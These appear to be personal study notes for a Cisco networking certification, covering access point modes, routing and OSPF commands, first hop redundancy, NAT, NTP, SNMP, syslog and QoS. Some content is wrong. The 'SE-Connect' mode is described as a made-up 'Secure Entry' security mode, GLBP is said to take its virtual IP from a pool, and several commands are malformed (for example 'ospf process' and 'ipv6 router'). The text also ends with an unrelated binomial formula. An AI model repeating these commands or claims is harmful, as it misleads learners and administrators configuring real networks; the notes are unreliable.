  Cisco offers various Access Point (AP) modes designed to cater to different operational requirements and deployment scenarios within wireless networks. These modes define how APs function within the network architecture and dictate their roles in terms of client connectivity, management, and operational capabilities. Local mode is the default operating mode for Cisco Lightweight APs (LAPs) in a centralized architecture. In this mode, APs communicate with a central Wireless LAN Controller (WLC) for configuration, firmware updates, and client management. This centralized management approach simplifies network administration, ensures consistent configuration across APs, and facilitates seamless roaming for wireless clients between APs. Monitor mode is specifically designed for APs to operate solely for monitoring and troubleshooting purposes. APs in this mode do not serve client connections but instead capture and analyze wireless traffic. This mode provides network administrators with valuable insights into network performance, identifies potential issues, and assists in optimizing wireless network design and performance. FlexConnect mode (formerly known as H-REAP) is ideal for distributed enterprise networks, such as branch offices or remote sites. APs in Flex-

Connect mode can locally switch client traffic before forwarding it to the central WLC. This capability helps conserve WAN bandwidth by minimizing traffic backhaul to the data center, enhances application performance for local users, and ensures seamless connectivity even if the WAN link to the WLC is temporarily unavailable. Sniffer mode transforms APs into dedicated wireless packet capture devices. In this mode, APs capture wireless frames for detailed analysis and troubleshooting of network issues, such as connectivity problems, interference, or security incidents. Sniffer mode provides network administrators with comprehensive visibility into the wireless environment, facilitating effective diagnosis and resolution of network problems. Rougue detector mode equips APs with the capability to scan and detect unauthorized or rogue APs within the vicinity. By actively monitoring the wireless spectrum, APs in Rogue Detector mode identify potential security threats posed by unauthorized devices attempting to access the network. This mode helps maintain network integrity and security by alerting administrators to unauthorized access points that may compromise network confidentiality, integrity, or availability. Bridge mode enables APs to function as wireless bridges, connecting two separate wired networks over a wireless link. This mode eliminates the need for physical cabling between locations, making it ideal for extending network connectivity between buildings, across campuses, or in scenarios where laying cables is impractical or cost-prohibitive. Bridge mode facilitates seamless integration of remote networks into the main network infrastructure without compromising performance or security. Flex+bridge mode combines the features of FlexConnect and Bridge modes. APs operating in Flex+Bridge mode serve dual roles: they act as wireless bridges for connecting wired networks over a wireless link while also providing FlexConnect functionality for local switching of client traffic. This mode offers flexibility in deployment, allowing organizations to optimize network connectivity and performance in distributed environments while maintaining centralized management and control. SE connect mode is designed for Secure Entry (SE) APs deployed in environments requiring enhanced security measures. In SE-Connect mode, APs establish secure connections to the WLC while enforcing stringent security policies and protocols. This mode ensures that network access is tightly controlled, data confidentiality is maintained, and compliance with regulatory requirements or organizational security policies is upheld.

- **Describe physical infrastructure connections of WLAN components (AP, WLC, access/trunk ports, and LAG)**

  APs are deployed in various environments such as offices, warehouses, campuses, and outdoor spaces. Each deployment scenario requires consideration of factors like coverage area, density of client devices, and environmental conditions. APs typically have one or more Ethernet ports. These ports are used for connecting the AP to the local network infrastructure, providing both data connectivity and Power over Ethernet (PoE)

if supported. APs can be ceiling-mounted, wall-mounted, or placed on desktops. Mounting affects signal propagation and coverage patterns, requiring careful planning to ensure optimal coverage and performance for client devices.

WLCs centralize the management and control of APs in a WLAN deployment. They are essential for configuring APs, applying policies (such as security settings and QoS), and managing software updates centrally. WLCs are typically connected to the network via Ethernet ports. These ports handle both management traffic (for WLC administration) and data traffic (for communication with APs and client devices). Deployment scenarios often include redundant WLCs for failover purposes, ensuring continuous operation of the WLAN even if one WLC fails.

Access ports are used to connect end devices or single VLAN devices such as APs. Access ports typically belong to a single VLAN and carry traffic only for that VLAN. Configuration involves setting the port mode (access mode), assigning the VLAN ID, and optionally configuring PoE settings if connecting PoE-enabled devices like APs. Trunk ports carry traffic for multiple VLANs over a single link. They are used to interconnect switches, routers, and WLCs to support VLAN tagging (802.1Q). Configuration includes setting the port mode (trunk mode), allowing all VLANs or specific VLANs across the trunk, configuring VLAN tagging parameters, and ensuring consistency across interconnected devices.

LAG (or EtherChannel in Cisco terms) combines multiple physical links into a single logical link. This increases bandwidth between devices and provides redundancy in case of link failures. Configuring LAG involves grouping multiple physical links into a logical bundle, configuring parameters such as load-balancing algorithms and failover policies, and ensuring compatibility and consistency across interconnected devices (e.g., switches and WLCs). LAG enhances network reliability, load balancing across links, and scalability by aggregating bandwidth effectively. It is commonly used between switches and WLCs or between switches and high-demand devices like servers or storage systems.

PoE provides power and data connectivity over a single Ethernet cable, simplifying AP deployment and reducing installation costs. APs must be compatible with PoE standards (e.g., IEEE 802.3af, 802.3at) supported by network switches. Understanding cable types (e.g., Cat5e, Cat6) and their capabilities (bandwidth, maximum length) ensures proper connectivity and performance for APs, WLCs, and other network devices. Proper placement of APs considering coverage areas, client density, and interference sources (e.g., walls, electronic devices) is crucial for optimizing wireless signal strength and minimizing dead zones.

Best practices include conducting site surveys to determine AP placement, configuring APs and WLCs according to manufacturer guidelines, and en-

suring security measures (e.g., encryption, VLAN segmentation) are implemented. Implementing security measures such as VLAN segregation to isolate different types of network traffic, using firewalls to protect against unauthorized access, and employing encryption protocols (e.g., WPA2-Enterprise) to secure wireless communications.

Troubleshooting physical connectivity issues such as cable faults, improper PoE settings, misconfigured port settings (access vs. trunk), and VLAN mismatch errors. Steps include verifying physical connections, checking LED status on devices for link and activity, using diagnostic tools (e.g., ping, traceroute) to identify network path issues, and reviewing configuration settings for accuracy and consistency.

- **Describe network device management access (Telnet, SSH, HTTP, HTTPS, console, TACACS+/RADIUS, and cloud managed)**

  Telnet, a legacy protocol, operates over TCP/IP to establish bidirectional, text-oriented communication sessions between a client and a server. Historically, it was widely used for remote access and management of network devices due to its simplicity. However, Telnet transmits data in plaintext, making it vulnerable to eavesdropping and interception. As a result, it is considered insecure and not recommended for use in environments where data confidentiality and integrity are critical. In modern networking, Telnet has largely been replaced by more secure alternatives such as SSH.

  SSH is a secure network protocol designed to provide encrypted communication sessions over a network. It addresses the security concerns of Telnet by encrypting data exchanged between the client and server. SSH uses strong encryption algorithms to ensure confidentiality and integrity of transmitted data, protecting against eavesdropping, interception, and tampering. It is widely used for securely accessing and managing network devices, servers, and other computing resources remotely. SSH operates over port 22 by default and is considered the standard for secure remote access and management in networking.

  HTTP is a protocol used for transferring hypertext requests and information on the World Wide Web. It operates over port 80 and is commonly associated with web-based management interfaces (web GUIs) of network devices. Administrators use HTTP to access initial device setup, basic configuration, and monitoring interfaces through a web browser. However, HTTP lacks encryption, exposing data to potential interception. To address this security concern, HTTPS employs SSL/TLS encryption to secure communications between the client (browser) and the network device. HTTPS operates over port 443 and ensures data confidentiality and integrity, making it suitable for accessing management interfaces securely over the web.

Console access provides direct physical or serial connectivity to a network device's console port using a terminal emulator. It offers out-of-band management capabilities, allowing administrators to configure, troubleshoot, and recover devices even when network connectivity is unavailable or compromised. Console access is essential for initial device setup, debugging network issues, and performing critical maintenance tasks. It provides a direct interface to the device's operating system and configuration settings, offering a reliable method for managing network devices independently of network conditions.

TACACS+ and RADIUS are authentication protocols used for providing centralized Authentication, Authorization, and Accounting (AAA) services in network management. TACACS+ offers more features and flexibility compared to RADIUS, including command authorization and administrative command logging. Both protocols authenticate users attempting to access network devices, authorize their actions based on predefined policies, and log their activities for audit purposes. They integrate with existing user databases and support multi-factor authentication, enhancing security in managing network access and operations.

Cloud-managed networking revolutionizes network device management by centralizing control through cloud-based platforms and services. It allows administrators to configure, monitor, and troubleshoot network devices from a single web-based dashboard accessible anywhere with internet connectivity. Cloud-managed solutions simplify network management tasks, streamline configuration updates, and provide real-time visibility into network performance and security. They offer scalability, automatic software updates, and remote troubleshooting capabilities, making them ideal for distributed deployments and organizations seeking agile network management solutions.

- **Interpret the wireless LAN GUI configuration for client connectivity, such as WLAN creation, security settings, QoS profiles, and advanced settings**

3 IP Connectivity

- **Interpret the compnents of routing table**

Routing protocol codes are identifiers used by routing protocols to signify the source or type of the route entry. Common codes include "C" for directly connected routes, "S" for static routes, "D" for EIGRP (Enhanced Interior Gateway Routing Protocol), "O" for OSPF (Open Shortest Path First), "R" for RIP (Routing Information Protocol), and "B" for BGP (Border Gateway Protocol). Understanding these codes helps identify

how routes are learned and maintained within the routing table, providing insights into the network's routing behavior and dynamics.

The prefix (or network address) specifies the destination network or subnet for which the route is applicable. Expressed in CIDR (Classless Inter-Domain Routing) notation, indicating the network address followed by a slash ("/") and the subnet mask length. 192.168.1.0/24 denotes the IPv4 network address 192.168.1.0 with a subnet mask of 255.255.255.0. Identifying the prefix helps determine the specific destination networks reachable via routing entries, facilitating packet forwarding decisions based on matching destination IP addresses.

The network mask (or subnet mask) specifies which portion of the IP address identifies the network and which portion identifies the host. The format is expressed in dotted-decimal notation (e.g., 255.255.255.0 for a /24 subnet mask). The role is to determine the boundaries of network segments and assists in route aggregation (summarization) by grouping multiple contiguous networks into a single route entry.

The next hop indicates the IP address of the next router or gateway where packets should be forwarded to reach the destination network. It represents the immediate forwarding address for traffic destined to the specified network prefix. Helps routers make forwarding decisions by specifying the next router or gateway in the path toward the destination, facilitating hop-by-hop packet delivery across interconnected networks.

The AD is a measure used by routers to prioritize between routes when multiple sources provide route information to the same destination. Lower administrative distance values indicate higher preference for a route. It helps routers select the most reliable and preferred path to reach a destination in case of route redundancy or multiple route options. Common default AD values are used by different routing protocols (e.g., 0 for directly connected networks, 1 for static routes, 90 for EIGRP internal routes, 110 for OSPF routes, etc.).

Metric is a numerical value assigned to a route by a routing protocol to represent the cost associated with reaching a particular destination network. It quantifies the optimal path selection based on criteria such as hop count, bandwidth, delay, reliability, or other factors defined by the routing protocol. Routers use the metric value to compare and determine the best path among potential routes to a destination, ensuring efficient packet forwarding and optimal network utilization. IGPs operate within an autonomous system (AS), typically a single organization's network, and focus on efficient routing within that network. Metrics like hop count, bandwidth, and delay are chosen to optimize internal routing. IGPs generally use simpler distance vector or link state algorithms to compute routes based on predefined metrics. In contrast, EGPs like BGP use more complex path vector algorithms that consider attributes of the complete route

path. IGPs use metrics directly related to the characteristics of links (like hop count, bandwidth, delay, and cost) within the AS. EGPs rely more on administrative policies (like administrative distance and path attributes) and are concerned with inter-domain routing and policy enforcement.

The gateway of last resort (default route) is a special route entry in the routing table used when no specific route matches the destination IP address of a packet. It serves as the default path for forwarding packets to destinations not explicitly listed in the routing table, ensuring connectivity to remote networks or the internet. Administrators configure the default route with a next hop IP address or interface to direct packets to a default gateway when no specific route matches.

- **Determine how a router makes a forwarding decision by default**

  The router compares the destination IP address of the packet to the entries in its routing table and selects the entry with the longest prefix match. The longest prefix match means that the router selects the route that has the most specific prefix (i.e., the longest matching network mask). This ensures that the router forwards packets to the most specific destination network entry in its routing table. For example, if the router has entries for both 192.168.1.0/24 and 192.168.1.128/25, and the destination IP is 192.168.1.130, it will choose the latter because it matches more bits.

  Administrative distance is a measure of the trustworthiness of a routing information source. When multiple routing protocols or sources provide information about the same destination network, the router prefers routes with lower administrative distances. For instance, a directly connected network typically has an administrative distance of 0, indicating the most preferred route, while routes learned from BGP might have higher administrative distances. The router selects the route with the lowest administrative distance as the best path.

  A metric is a value used by routing protocols to measure the suitability of a route. Each routing protocol calculates metrics differently (e.g., hop count, bandwidth, delay). When a router learns multiple routes to the same destination from the same routing protocol, it selects the route with the lowest metric value as the best path. This ensures that the router chooses the most optimal route according to the metric specified by the routing protocol.

- **Configure and verify IPv4 and IPv6 static routing**
  NOTE: using the link-local address as the next hop address is ambigious you must include the outgoing-interface beforehand
  NOTE: IOS allows you to configure the ipv6 route command using only the outgoing-interface parameter, without listing a next-hop address. The router will accept the command; however, if that outgoing interface happens to be an Ethernet interface, the router cannot successfully forward IPv6 packets using the route.

Default routes are used when a packet's destination address does not match any routes, but you do not want the router to discard a packet that it otherwise would.
Router(config)# ip route 0.0.0.0 0.0.0.0 <interface>
Router(config)# ipv6 router ::/0 <interface>

Network routes define a route to an entire subnet.
Router(config)# ip route 172.16.2.0 255.255.255.0 s0/0/0
Router(config)# ip route 172.16.3.0 255.255.255.0 172.16.5.3
Router(config)# ipv6 route 2001:db8:1111:2::/64 s0/0/0

Host routes match a single IP. An engineer may want to route most packets to some subnet through one route but packets destined for a specific host through another route.
Router(config)# ip route 10.1.1.9 255.255.255.255 10.9.9.9
Router(config)# ipv6 router 2001:db8:1111:2::22/128 s0/0/0 fe80::ff:fe00:2

Floating static routes are used when when a primary route fails.
Router(config)# ip route 172.16.2.0 255.255.255.0 172.16.5.3 130
Router(config)# ipv6 route 2001:db8:1::/64 2001:db8:2::1 200

- **Configure and verify single area OSPFv2**

Direct↓
Router(config)# ospf process <1-65535>
Router(config-router)# router-id X.X.X.X (OPTIONAL) Router(config-router)# network <IP_address><wildcard>area <area_id>

Indirect↓
Router(config-if)# ip ospf process <1-65535><area_id>
Router(config-if)# ip ospf network [type] (OPTIONAL)

Passive interfaces do not send Hellos but information about the connected subnet will still be advertised elsewhere.
Router(config-router)# passive-interface <interface>

OSPF default routes work like normal default routes, but can be advertised via OSPF
Router(config-router)# default-information originate

OSPF cost = reference / bandwidth
Router(config-if)# ip ospf cost cost
Router(config-router)# auto-cost reference
Router(config-if)# speed 100
Router(config-if)# bandwidth 10000
NOTE: the bandwidth command is used in scenarios where the actual bandwidth of the interface differs from the default assumption made by the routing protocol.
Router(config-if)# clock

NOTE: the clock command is normally configured on the DCE end of a serial link to provide clocking for the line.

OSPF route summarization involves aggregating multiple contiguous network addresses into a single summary route advert.
NOTE: Route summarization should be done at the netwrok boundary to avoid potential routing issues. Also, make sure that summarized routes cover all the individual routes being summarized.
Router(config-router)# area 0 range <IP_address><subnet_mask>

Routing Black Holes:
A routing black hole occurs when a router receives traffic for a destination network but does not have a valid route to forward that traffic. This can happen due to various reasons, including misconfigured routes, unreachable next hops, or route summarization that omits specific routes. When a router encounters a routing black hole, it frops the packets, resulting in loss of connectivity to the affected destination.

Suboptimal Routing Decisions:
Suboptimal routing decisions refer to situations where routers select paths that are not the most efficient or optimal routes to reach a destination. This can occur due to factos such as unequal cost load balancing, asymmetric routing, or inefficient routing protocols. Suboptimal routing decisions can lead to increased latency, congestion, and subpar network performance.

verify: MTU, areas, network types, timers, neighbor states/roles, reference bandwidth, authentication
Router(config)# show run (config)
Router(config)# show ip protocols (config)

Router(config)# show ip ospf interface (enabled interfaces)
Router(config)# show ip ospf interface <interface>(enabled interfaces)
Router(config)# show ip ospf interface brief (enabled interfaces)

Router(config)# show ip ospf neighbor (neighbors)
Router(config)# show ip ospf neighbor <interface>(neighbors)

Router(config)# show ip ospf database (lsdb)

Router(config)# show ip ospf rib (rib)

Router(config)# show ip route (routes)
Router(config)# show ip route ospf (routes)
Router(config)# show ip route subnet mask (routes)
Router(config)# show ip route — section subnet (route)

- **Describe the purpose, functions, and concepts of first hop redundancy protocols**

  First hop redundancy protocols (FHRPs) are essential in network design to ensure high availability and redundancy for devices connected to the same subnet. The primary purpose of FHRPs is to provide a fault-tolerant gateway mechanism, allowing hosts on a subnet to maintain connectivity even if the primary gateway router fails. Virtual MAC addresses are used by the active router to respond to ARP requests for the virtual IP address. Multicast IP addresses are used for protocol messages (hello packets) to communicate with other routers in the redundancy group. Each protocol has its own method for electing the active router, often based on priority settings. FHRPs use hello packets to monirot the health and availability of routers in teh group, facilitating rapid detection of failures. Administrators can configure parameters like priorities, timers, and preemptive behavior to tailor failover behavior to network requirements.
  Virtual Router Redundancy Protocol (VRRP) elects a virtual router master (primary) from a group of routers. The master router forwards packets sent to the virtual IP address until it fails, at which point another router takes over. The virtual IP address used by VRRP is typically a user-defined IPv4 address. In VRRP, routers are categorized as either masters (active) or backups (standby). The active router handles traffic for the virtual IP address, while standby routers are ready to take over if the active router fails. The virtual MAC address is 00-00-5E-00-01-VRID, where VRID (Virtual Router Identifier) is a number between 1 and 255. There is no specific "group number" in VRRP, but VRID serves a similar purpose to identify virtual router groups. The multicast IP address is 224.0.0.18.
  Hot Standby Router Protocol (HSRP) also elects an active router and standby routers. The active router uses the virtual IP address as its own, responding to ARP requests for that IP. In HSRP, the virtual IP address is usually taken from the subnet associated with the HSRP group. Similar to VRRP, HSRP routers operate in an active/standby mode. The active router forwards traffic for the virtual IP address, and standby routers are ready to take over if needed. The virtual MAC address is 00-00-0C-07-AC-HSRP Group Number, where HSRP Group Number is a number between 0 and 255. The multicast IP address is 224.0.0.2 (for IPv4), and FF02::66 (for IPv6). HSRP uses the concept of group numbers (0 to 255) to differentiate between different HSRP instances on the same subnet.
  Gateway Load Balancing Protocol (GLBP) extends the concept of redundancy by also offering load balancing capabilities. It elects an active virtual gateway that shares the virtual IP address with other members in the GLBP group. GLBP assigns a virtual IP address dynamically from a pool configured on the GLBP group. GLBP uses an active virtual gateway (AVG) that directs traffic to multiple active virtual forwarders (AVFs), which can share the traffic load. If the AVG fails, another member can take over. The virtual MAC is 00-07-B4-xx-xx-xx, where xx-xx-xx is dy-

namically assigned based on GLBP group configuration. The mutlicast IP address is 224.0.0.102. GLBP uses different group numbers (1 to 1023) to identify different GLBP groups on the same subnet.

4 IP Services

- **Configure and verify inside source NAT using static and pools**

  Static NAT
  Router(config-if)# ip nat inside
  Router(config-if)# ip nat outside
  Router(config)# ip nat inside source static <insidelocal><outsidelocal>

  Dynamic NAT
  Router(config)# ip nat pool mypool 203.0.113.20 203.0.113.30 netmask 255.255.255.0
  Router(config)# access-list 1 permit 192.168.1.0 0.0.0.255
  Router(config)# ip nat inside source list 1 pool mypool

  verify: interfaces, address ranges, acl, hit/misses, routes to destinations↓
  R1# show access-lists
  R1# show ip nat translations [verbose]
  R1# show ip nat statistics
  R1# show ip route
  R1# show run
  R1# show interfaces <interface>

- **Configure and verify NTP operating in a client and server mode**

  NOTE: the time-range command can be used to set maintenance windows

  software clock↓
  Router# clock set hh:mm:ss month day year

  hardware clock↓
  Router# calendar set hh:mm:ss date dd month

  timezones↓
  Router(config)# clock timezone name hours-offset [minutes-offset]

  daylight savings↓
  Router(config)# clock summer-time recurring name start end [offset]

  NTP uses UTC time standard to sync network devices
  R1(config)# ntp update-calendar
  R1(config)# interface loopback0
  R1(config-if)# ip address 10.1.1.1 255.255.255.255

R1(config)# ntp source loopback 0
R1(config)# ntp master <1-15>
R2(config)# ntp server 10.1.1.1 [prefer]
R2(config)# ntp peer 10.0.23.3
R3(config)# ntp peer 10.0.23.2
R3(config)# ntp authenticate
R3(config)# ntp authentication-key key-number md5 key
R3(config)# ntp trusted-key key-number
R3(config)# ntp server 10.1.1.1 key key-number

verify ↓
Router# show ntp associations
(* sys.peer, # selected, + candidate, - outlyer, x falseticker, configured)
Router# show ntp status

- **Explain the role of DHCP and DNS within the network**

  DHCP assigns IP addresses to devices (clients) on the network automatically, ensuring that each device has a unique IP address without manual configuration. DHCP provides essential network configuration parameters such as subnet mask, default gateway, and DNS server addresses to devices. This ensures that devices can communicate effectively within the network and access resources outside the local subnet. DHCP manages IP address allocation efficiently by leasing addresses to devices for a specific period (lease time). It also handles address renewal, release, and reuse, optimizing IP address utilization in dynamic network environments. When a device (like a computer or smartphone) connects to a network, it sends out a DHCP discover message to locate DHCP servers on the network. DHCP servers receive DHCP discover messages and respond with DHCP offer messages containing IP address lease information and network configuration parameters. The client selects one DHCP offer and sends a DHCP request message to the chosen DHCP server, requesting the offered IP address and configuration. The DHCP server sends a DHCP acknowledgment (ACK) message confirming the lease of the IP address and providing the client with network configuration details. hroughout the lease period, the DHCP client periodically renews its IP address lease by sending DHCP request messages to the DHCP server. When the lease expires or the client disconnects, it releases the IP address back to the DHCP server.

  DNS is a distributed system that translates domain names (like www.example.com) into IP addresses (like 192.0.2.1) that computers use to identify each other on a network. It is used to locate resources on the Internet or within a private network. DNS uses a hierarchical naming structure organized into domains and subdomains (e.g., example.com, subdomain.example.com), allowing for decentralized and scalable management of domain names. DNS servers cache resolved queries to improve efficiency and reduce the

load on the DNS infrastructure, providing faster responses for frequently accessed domain names. When a device needs to resolve a domain name, it sends a DNS query to a DNS resolver (typically provided by the ISP or configured locally). The DNS resolver sends the query to root DNS servers, which provide information about Top-Level Domains (TLDs) like .com, .org, etc. The resolver then queries TLD DNS servers to find authoritative DNS servers responsible for the domain name's specific extension (like .com or .org). Finally, the resolver queries authoritative DNS servers, which hold the actual IP address information (A records) or other records (like MX for mail servers) for the requested domain. The authoritative DNS server sends the IP address back to the DNS resolver, which caches the response and returns the IP address to the requesting device.

- **Explain the function of SNMP in network operations**

  SNMP v1 serves as a foundational protocol for network management, providing essential capabilities for monitoring and managing network devices. Its primary function is to allow network administrators to gather information from SNMP-enabled devices regarding their operational status and performance metrics. This includes data such as CPU utilization, memory usage, interface statistics, and more. One of the key features of SNMP v1 is its support for trap-based notifications. SNMP-enabled devices can autonomously send trap messages to a central management station to alert administrators about significant events, such as link status changes, interface errors, or hardware failures. This proactive notification system helps in timely response and troubleshooting of network issues. However, SNMP v1 has limitations, particularly in terms of security. It relies solely on community strings (which act like passwords) for authentication and access control. These community strings are sent in clear text over the network, making SNMP v1 vulnerable to eavesdropping and unauthorized access. As a result, SNMP v1 is considered less secure compared to later versions.

  SNMP v2 was introduced to address some of the limitations of SNMP v1 while enhancing its capabilities. It retains the core functionalities of SNMP v1, such as device monitoring, trap notifications, and basic management operations. However, SNMP v2 improves upon SNMP v1 in several key areas. One significant enhancement in SNMP v2 is its refined protocol operations and support for additional data types, which improve efficiency and flexibility in managing network devices. SNMP v2 also introduces the 'inform' notification type, which enhances reliability by allowing the receiving entity to acknowledge the receipt of trap messages. Despite these improvements, SNMP v2 still relies on community-based security mechanisms similar to SNMP v1. It uses community strings for authentication and access control, which are transmitted in clear text. Therefore, SNMP v2 inherits the same security vulnerabilities as SNMP v1, making it potentially insecure for managing sensitive or critical network infrastructure.

SNMP v3 represents a significant advancement in SNMP technology, primarily focused on addressing the security concerns that plagued SNMP v1 and SNMP v2. It introduces robust security features to protect sensitive management information and ensure the integrity and confidentiality of SNMP communications. The most notable feature of SNMP v3 is its comprehensive security architecture known as the User-based Security Model (USM). SNMP v3 shifts from community-based security to a user-based approach, where each user is authenticated using a username and password (or cryptographic keys). It supports strong authentication mechanisms such as MD5 and SHA for message integrity, ensuring that SNMP messages are not altered or tampered with during transmission. Additionally, SNMP v3 provides encryption capabilities using algorithms like DES (Data Encryption Standard) and AES (Advanced Encryption Standard). This ensures that SNMP messages are encrypted before transmission, protecting them from unauthorized disclosure and ensuring confidentiality. Furthermore, SNMP v3 offers fine-grained access control, allowing administrators to define access policies based on individual users or groups. This enables precise control over which devices can be managed and what actions (read, write, notify) are permitted. In summary, SNMP v3 is the most secure and feature-rich version of SNMP, offering strong authentication, encryption, and access control mechanisms. It is designed to meet the stringent security requirements of modern networks, making it suitable for managing sensitive and mission-critical infrastructure effectively.

- **Describe the use of syslog features including facilities and levels**

  Syslog is a standard protocol used for logging system messages and events within a network or computer system. It allows devices and applications to generate and store log messages centrally on a syslog server or collector. Syslog messages are categorized into facilities and levels to provide structured information about the events and status of various components within the network. Each facility provides a way to classify the origin or type of the syslog message, allowing administrators to categorize and filter log messages based on their source or subsystem. This categorization is useful for managing and analyzing log data, monitoring system behavior, and troubleshooting issues within the network environment. The 24 standard facilities in syslog are: kernel (0), user-level (1), mail (2), system daemons (3), security/authorization messages (4), syslog daemon (5), line printer subsytem (6), network new subsystem (7), UUCP subsysytem (8), clock daemon (9), security/authorization (10), FTP daemon (11), NTP subsystem (12), log audit (13), log alert (14), clock daemon (15), local0 (16) - local7 (23). Syslog levels indicate the severity or importance of a syslog message. There are eight standard syslog levels defined to classify the severity of events, ranging from informational to critical. Each level helps administrators prioritize and filter log messages based on their impact and urgency. The 8 severity levels are: Emergency (System is unusable, requires immediate attention. This is the most severe level.), Alert

(Immediate action is needed. Critical conditions that should be addressed urgently.), Critical (Critical conditions. Indicates serious issues that require prompt attention.), Error (Error conditions. Indicates problems that need to be investigated and resolved.), Warning (Warning conditions. Indicates potential issues or conditions that could lead to problems if not addressed.), Notification (Normal but significant conditions. Information that is noteworthy but does not require immediate action.), Informational (Informational messages. Provides general operational information.), Debugging (Debugging messages. Used for troubleshooting and diagnostic purposes.). The syslog severity levels, both in standard syslog (as defined by RFC 5424) and in Cisco's implementation, are standardized to provide a structured way of indicating the severity or importance of events or messages logged by network devices and systems. While the specific labels (e.g., Emergency, Alert, Critical, Error) are standardized, the exact interpretation and use of these levels can vary somewhat based on the context and the specific implementation of syslog by different vendors or systems. The syslog severity levels are structured to provide a clear hierarchy of event severity. They help administrators prioritize their responses to logged events based on their potential impact on the network or system. By adhering to standard severity levels, syslog enables consistent interpretation and handling of messages across different systems and devices. This is crucial for interoperability and for ensuring that critical events are treated with appropriate urgency. While the labels and definitions of severity levels are standardized, there is some flexibility in how they are applied or interpreted. Different vendors or organizations might slightly adjust the thresholds or criteria for each severity level based on their specific needs and operational context. The interpretation of severity levels can vary based on the context of the system or application generating the log message. For example, what constitutes an "Emergency" might differ between a critical infrastructure network and a less sensitive environment. Some vendors, like Cisco, have their own severity levels that align closely with standard syslog levels but may have subtle differences in how they are used or interpreted within their systems. Organizations may establish their own internal policies for logging and severity level thresholds based on their risk management strategies, operational requirements, and compliance mandates.
<165>Oct 12 10:15:01 router1 %SYS-5-CONFIG_I: Configured from console by adminuser
priority = (facility * 8) + severity

- **Configure and verify DHCP client and relay**

  DHCP relay is used to help move DHCP messages in/out of a segment
  Router(config-if)# ip helper-address 192.168.1.100

  show commands ↓

R1# show ip dhcp binding
R1# show ip dhcp pool
R1# show ip dhcp server statistics
R1# show ip dhcp relay
ipconfig/ifconfig (verify clients DHCP information)

- **Explain the forwarding per-hop behavior (PHB) for QoS, such as classification, marking, queuing, congestion, policing, and shaping**

  Forwarding Per-Hop Behavior (PHB) in QoS encompasses various mechanisms such as classification, marking, queuing, congestion management, policing, and shaping. These mechanisms collectively ensure that network traffic is handled according to defined QoS policies, prioritizing critical applications and traffic flows while managing network congestion and optimizing resource utilization. Effective PHB implementation is crucial for delivering predictable performance and meeting SLAs in modern network environments.

  Classification is the process of identifying packets or traffic flows based on certain criteria, such as source/destination IP address, port numbers, protocol type, or packet content. By classifying packets into different classes or traffic categories, network administrators can prioritize or differentiate traffic based on its importance, application type, or service level agreement (SLA). Classification is typically done at the network edge (e.g., ingress router or switch) using access control lists (ACLs), packet marking (DSCP or IP precedence), or deep packet inspection (DPI) techniques.

  Marking involves setting or modifying the Differentiated Services Code Point (DSCP) field in the IP header of packets. DSCP values determine the PHB treatment a packet should receive throughout the network. Marking allows routers and switches to quickly identify and apply PHB policies without re-classifying packets at every hop. It simplifies QoS implementation by ensuring consistent treatment based on the marked DSCP values. Marking can be performed based on traffic classification policies configured on network devices or by using traffic conditioning mechanisms like traffic policers or shapers.

  Queuing involves placing packets into different queues based on their classification or marked DSCP values. Each queue can have its own scheduling algorithm and priority. Queuing helps manage packet transmission and prioritization during periods of congestion. High-priority traffic (e.g., voice or real-time video) can be serviced with minimal delay compared to lower-priority traffic. Network devices use queuing mechanisms such as First-In-First-Out (FIFO), Weighted Fair Queuing (WFQ), Priority Queuing (PQ), Class-Based Queuing (CBQ), or Low Latency Queuing (LLQ) to manage and prioritize packet transmission.

Congestion management refers to the mechanisms used to control and mitigate congestion within the network. It ensures fair resource allocation and prevents network performance degradation. By detecting and responding to congestion events, congestion management algorithms (e.g., Random Early Detection (RED), Weighted Random Early Detection (WRED)) help maintain QoS guarantees for different traffic classes. Congestion management is typically integrated with queuing mechanisms to drop or mark packets when congestion thresholds are exceeded, preventing network congestion and ensuring equitable resource allocation.

Policing involves monitoring and controlling the rate of traffic flows to enforce compliance with agreed-upon traffic contracts or service level agreements (SLAs). Policing ensures that traffic adheres to defined rate limits, preventing individual flows from consuming excessive network resources and affecting other traffic. Traffic policing is implemented using token bucket or rate limiting mechanisms. Packets exceeding defined rate limits may be dropped, remarked, or subjected to lower-priority handling.

Traffic shaping controls the rate of outbound traffic flows to ensure they conform to configured traffic profiles or desired traffic rates. Shaping smooths out traffic bursts by buffering excess packets and regulating their transmission rate, ensuring consistent traffic flow and minimizing packet loss during congestion. Traffic shaping is commonly performed at network egress points using shaping policies configured on routers or switches. It helps in optimizing network bandwidth utilization and ensuring predictable application performance.

IPP, or IP Precedence, is an older method of marking packets to prioritize traffic within networks based on their importance or priority level. IPP was originally defined in IPv4 networks to classify packets into one of eight priority levels (0 to 7). It uses the three most significant bits (the first 3 bits) in the Type of Service (ToS) field of the IP header to indicate priority. IPP values are used by network devices (routers, switches) to prioritize traffic handling and forwarding decisions. However, it has largely been replaced by Differentiated Services Code Point (DSCP) in modern networks. DSCP is a more advanced and widely used method for classifying and managing packet traffic in IP networks, defined in RFC 2474. DSCP allows packets to be marked with a specific code point in the IP header, indicating the desired forwarding behavior (Per-Hop Behavior, PHB) for QoS purposes. DSCP values range from 0 to 63 and are used to differentiate and prioritize traffic across networks. They are backward-compatible with the older IPP markings, with backward compatibility fields in the IP header. CoS is a QoS feature used in Layer 2 Ethernet networks (IEEE 802.1Q VLAN tagged frames) to prioritize traffic. CoS enables Ethernet switches to classify and prioritize traffic based on assigned priority levels (0 to 7) within VLANs. This helps manage traffic efficiently within a local network segment. CoS is often used in

conjunction with VLAN tagging and prioritization mechanisms to ensure that critical traffic (such as voice or video) receives preferential treatment over less time-sensitive data. PCP, also known as IEEE 802.1p, is the method used within VLAN-tagged Ethernet frames to indicate priority levels. PCP assigns priority levels (0 to 7) to VLAN-tagged frames, allowing switches to prioritize traffic flows within VLANs based on their importance or required QoS treatment. PCP values are set in the VLAN tag of Ethernet frames and are used by switches to make forwarding decisions, ensuring that high-priority traffic receives minimal delay and higher transmission precedence.

Assured Forwarding (AF) is a Per-Hop Behavior (PHB) defined within the DiffServ framework (RFC 2597). It is designed to provide a guaranteed level of service for certain classes or types of traffic by assigning packets to one of four predefined forwarding classes (AF1, AF2, AF3, AF4). AF defines four classes, each with three drop precedence levels (Low, Medium, High).
$\binom{n}{k} = \frac{n!}{k!(n-k)!}$
